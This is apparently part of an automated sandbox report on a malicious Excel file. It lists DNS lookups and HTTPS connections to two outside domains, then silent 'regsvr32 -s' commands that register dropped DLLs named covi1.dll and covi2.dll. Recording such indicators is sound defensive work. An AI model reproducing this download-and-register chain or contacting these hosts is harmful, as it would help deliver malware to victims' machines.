                                                                                                                                                        Jun 11, 2021 22:31:32.266252041 CEST53543668.8.8.8192.168.2.3
                                                                                                                                                        Jun 11, 2021 22:31:33.461463928 CEST5303453192.168.2.38.8.8.8
                                                                                                                                                        Jun 11, 2021 22:31:33.514386892 CEST53530348.8.8.8192.168.2.3
                                                                                                                                                        Jun 11, 2021 22:31:34.574789047 CEST5776253192.168.2.38.8.8.8
                                                                                                                                                        Jun 11, 2021 22:31:34.626559019 CEST53577628.8.8.8192.168.2.3
                                                                                                                                                        Jun 11, 2021 22:31:41.263536930 CEST5543553192.168.2.38.8.8.8
                                                                                                                                                        Jun 11, 2021 22:31:41.330493927 CEST53554358.8.8.8192.168.2.3
                                                                                                                                                        Jun 11, 2021 22:31:44.910515070 CEST5071353192.168.2.38.8.8.8
                                                                                                                                                        Jun 11, 2021 22:31:44.973181009 CEST53507138.8.8.8192.168.2.3
                                                                                                                                                        Jun 11, 2021 22:32:02.485462904 CEST5613253192.168.2.38.8.8.8
                                                                                                                                                        Jun 11, 2021 22:32:02.549834013 CEST53561328.8.8.8192.168.2.3
                                                                                                                                                        Jun 11, 2021 22:32:04.814889908 CEST5898753192.168.2.38.8.8.8
                                                                                                                                                        Jun 11, 2021 22:32:04.884502888 CEST53589878.8.8.8192.168.2.3
                                                                                                                                                        Jun 11, 2021 22:32:19.396842003 CEST5657953192.168.2.38.8.8.8
                                                                                                                                                        Jun 11, 2021 22:32:19.464093924 CEST53565798.8.8.8192.168.2.3
                                                                                                                                                        Jun 11, 2021 22:32:25.299604893 CEST6063353192.168.2.38.8.8.8
                                                                                                                                                        Jun 11, 2021 22:32:25.370557070 CEST53606338.8.8.8192.168.2.3
                                                                                                                                                        Jun 11, 2021 22:32:56.473463058 CEST6129253192.168.2.38.8.8.8
                                                                                                                                                        Jun 11, 2021 22:32:56.532716036 CEST53612928.8.8.8192.168.2.3
                                                                                                                                                        Jun 11, 2021 22:32:57.915206909 CEST6361953192.168.2.38.8.8.8
                                                                                                                                                        Jun 11, 2021 22:32:57.992146015 CEST53636198.8.8.8192.168.2.3

                                                                                                                                                        DNS Queries

                                                                                                                                                        TimestampSource IPDest IPTrans IDOP CodeNameTypeClass
                                                                                                                                                        Jun 11, 2021 22:31:25.347352028 CEST192.168.2.38.8.8.80x4226Standard query (0)eimathsuae.comA (IP address)IN (0x0001)
                                                                                                                                                        Jun 11, 2021 22:31:26.937757015 CEST192.168.2.38.8.8.80xd643Standard query (0)tisindia.comA (IP address)IN (0x0001)

                                                                                                                                                        DNS Answers

                                                                                                                                                        TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClass
                                                                                                                                                        Jun 11, 2021 22:31:25.697499037 CEST8.8.8.8192.168.2.30x4226No error (0)eimathsuae.com52.220.160.98A (IP address)IN (0x0001)
                                                                                                                                                        Jun 11, 2021 22:31:27.110105991 CEST8.8.8.8192.168.2.30xd643No error (0)tisindia.com67.227.192.75A (IP address)IN (0x0001)

                                                                                                                                                        HTTPS Packets

                                                                                                                                                        TimestampSource IPSource PortDest IPDest PortSubjectIssuerNot BeforeNot AfterJA3 SSL Client FingerprintJA3 SSL Client Digest
                                                                                                                                                        Jun 11, 2021 22:31:26.078509092 CEST52.220.160.98443192.168.2.349719CN=eimathsuae.com CN="cPanel, Inc. Certification Authority", O="cPanel, Inc.", L=Houston, ST=TX, C=US CN=COMODO RSA Certification Authority, O=COMODO CA Limited, L=Salford, ST=Greater Manchester, C=GBCN="cPanel, Inc. Certification Authority", O="cPanel, Inc.", L=Houston, ST=TX, C=US CN=COMODO RSA Certification Authority, O=COMODO CA Limited, L=Salford, ST=Greater Manchester, C=GB CN=AAA Certificate Services, O=Comodo CA Limited, L=Salford, ST=Greater Manchester, C=GBMon Jun 07 02:00:00 CEST 2021 Mon May 18 02:00:00 CEST 2015 Thu Jan 01 01:00:00 CET 2004Mon Sep 06 01:59:59 CEST 2021 Sun May 18 01:59:59 CEST 2025 Mon Jan 01 00:59:59 CET 2029771,49196-49195-49200-49199-49188-49187-49192-49191-49162-49161-49172-49171-157-156-61-60-53-47-10,0-10-11-13-35-23-65281,29-23-24,037f463bf4616ecd445d4a1937da06e19
                                                                                                                                                        CN="cPanel, Inc. Certification Authority", O="cPanel, Inc.", L=Houston, ST=TX, C=USCN=COMODO RSA Certification Authority, O=COMODO CA Limited, L=Salford, ST=Greater Manchester, C=GBMon May 18 02:00:00 CEST 2015Sun May 18 01:59:59 CEST 2025
                                                                                                                                                        CN=COMODO RSA Certification Authority, O=COMODO CA Limited, L=Salford, ST=Greater Manchester, C=GBCN=AAA Certificate Services, O=Comodo CA Limited, L=Salford, ST=Greater Manchester, C=GBThu Jan 01 01:00:00 CET 2004Mon Jan 01 00:59:59 CET 2029
                                                                                                                                                        Jun 11, 2021 22:31:27.432781935 CEST67.227.192.75443192.168.2.349721CN=www.tisindia.com CN=GlobalSign GCC R3 DV TLS CA 2020, O=GlobalSign nv-sa, C=BECN=GlobalSign GCC R3 DV TLS CA 2020, O=GlobalSign nv-sa, C=BE CN=GlobalSign, O=GlobalSign, OU=GlobalSign Root CA - R3Sat Jan 09 02:12:46 CET 2021 Tue Jul 28 02:00:00 CEST 2020Thu Feb 10 02:12:46 CET 2022 Sun Mar 18 01:00:00 CET 2029771,49196-49195-49200-49199-49188-49187-49192-49191-49162-49161-49172-49171-157-156-61-60-53-47-10,0-10-11-13-35-23-65281,29-23-24,037f463bf4616ecd445d4a1937da06e19
                                                                                                                                                        CN=GlobalSign GCC R3 DV TLS CA 2020, O=GlobalSign nv-sa, C=BECN=GlobalSign, O=GlobalSign, OU=GlobalSign Root CA - R3Tue Jul 28 02:00:00 CEST 2020Sun Mar 18 01:00:00 CET 2029

                                                                                                                                                        Code Manipulations

                                                                                                                                                        Statistics

                                                                                                                                                        CPU Usage

                                                                                                                                                        Click to jump to process

                                                                                                                                                        Memory Usage

                                                                                                                                                        Click to jump to process

                                                                                                                                                        High Level Behavior Distribution

                                                                                                                                                        Click to dive into process behavior distribution

                                                                                                                                                        Behavior

                                                                                                                                                        Click to jump to process

                                                                                                                                                        System Behavior

                                                                                                                                                        General

                                                                                                                                                        Start time:22:31:18
                                                                                                                                                        Start date:11/06/2021
                                                                                                                                                        Path:C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
                                                                                                                                                        Wow64 process (32bit):true
                                                                                                                                                        Commandline:'C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE' /automation -Embedding
                                                                                                                                                        Imagebase:0x1340000
                                                                                                                                                        File size:27110184 bytes
                                                                                                                                                        MD5 hash:5D6638F2C8F8571C593999C58866007E
                                                                                                                                                        Has elevated privileges:true
                                                                                                                                                        Has administrator privileges:true
                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                        Reputation:high

                                                                                                                                                        General

                                                                                                                                                        Start time:22:31:20
                                                                                                                                                        Start date:11/06/2021
                                                                                                                                                        Path:C:\Windows\splwow64.exe
                                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                                        Commandline:C:\Windows\splwow64.exe 12288
                                                                                                                                                        Imagebase:0x7ff72c4d0000
                                                                                                                                                        File size:130560 bytes
                                                                                                                                                        MD5 hash:8D59B31FF375059E3C32B17BF31A76D5
                                                                                                                                                        Has elevated privileges:true
                                                                                                                                                        Has administrator privileges:true
                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                        Reputation:high

                                                                                                                                                        General

                                                                                                                                                        Start time:22:31:28
                                                                                                                                                        Start date:11/06/2021
                                                                                                                                                        Path:C:\Windows\SysWOW64\regsvr32.exe
                                                                                                                                                        Wow64 process (32bit):true
                                                                                                                                                        Commandline:regsvr32 -s ..\covi1.dll
                                                                                                                                                        Imagebase:0x13a0000
                                                                                                                                                        File size:20992 bytes
                                                                                                                                                        MD5 hash:426E7499F6A7346F0410DEAD0805586B
                                                                                                                                                        Has elevated privileges:true
                                                                                                                                                        Has administrator privileges:true
                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                        Reputation:high

                                                                                                                                                        General

                                                                                                                                                        Start time:22:31:28
                                                                                                                                                        Start date:11/06/2021
                                                                                                                                                        Path:C:\Windows\SysWOW64\regsvr32.exe
                                                                                                                                                        Wow64 process (32bit):true
                                                                                                                                                        Commandline:regsvr32 -s ..\covi2.dll
                                                                                                                                                        Imagebase:0x13a0000
                                                                                                                                                        File size:20992 bytes
                                                                                                                                                        MD5 hash:426E7499F6A7346F0410DEAD0805586B
                                                                                                                                                        Has elevated privileges:true
                                                                                                                                                        Has administrator privileges:true
                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                        Reputation:high

                                                                                                                                                        Disassembly

                                                                                                                                                        Code Analysis

                                                                                                                                                        Reset < >